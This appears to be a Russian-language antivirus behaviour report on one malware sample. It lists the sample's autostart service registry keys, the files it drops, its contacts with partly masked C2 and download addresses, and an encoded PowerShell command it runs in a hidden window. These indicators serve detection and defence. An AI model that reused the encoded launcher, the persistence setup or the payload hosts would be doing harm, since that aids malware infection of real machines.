Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\mfc40u] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\mfc40u] 'ImagePath' = '"%WINDIR%\SysWOW64\avicap32\mfc40u.exe"'
- 'mfc40u' "%WINDIR%\SysWOW64\avicap32\mfc40u.exe"
- 'mfc40u' %WINDIR%\SysWOW64\avicap32\mfc40u.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABHAGgAYgBqAGwAagB3AD0AKAAoACcATgBfACcAKwAnAGYAJwApACsAKAAnAHQANQAnACsAJwBmADcAJwApACkAOwAmACgAJwBuAGUAdwAtAGkAJwArACcAdABlACcAKwAnAG0AJwApACAAJABFAE4AVgA6AFUAcwBFAFIAcA...
- %HOMEPATH%\olgtqfs\wda5pgn\pt8izs8v5.exe
- %WINDIR%\syswow64\avicap32\mfc40u.exe
- %HOMEPATH%\olgtqfs\wda5pgn\pt8izs8v5.exe в %WINDIR%\syswow64\avicap32\mfc40u.exe
- '12.##3.208.58':80
- http://vo###fitz.com/wp-content/se/
- http://12.##3.208.58/vYiP6braKKnXYc/
- DNS ASK vo###fitz.com
- '%HOMEPATH%\olgtqfs\wda5pgn\pt8izs8v5.exe'
- '%WINDIR%\syswow64\avicap32\mfc40u.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABHAGgAYgBqAGwAagB3AD0AKAAoACcATgBfACcAKwAnAGYAJwApACsAKAAnAHQANQAnACsAJwBmADcAJwApACkAOwAmACgAJwBuAGUAdwAtAGkAJwArACcAdABlACcAKwAnAG0AJwApACAAJABFAE4AVgA6AFUAcwBFAFIAcA...' (со скрытым окном)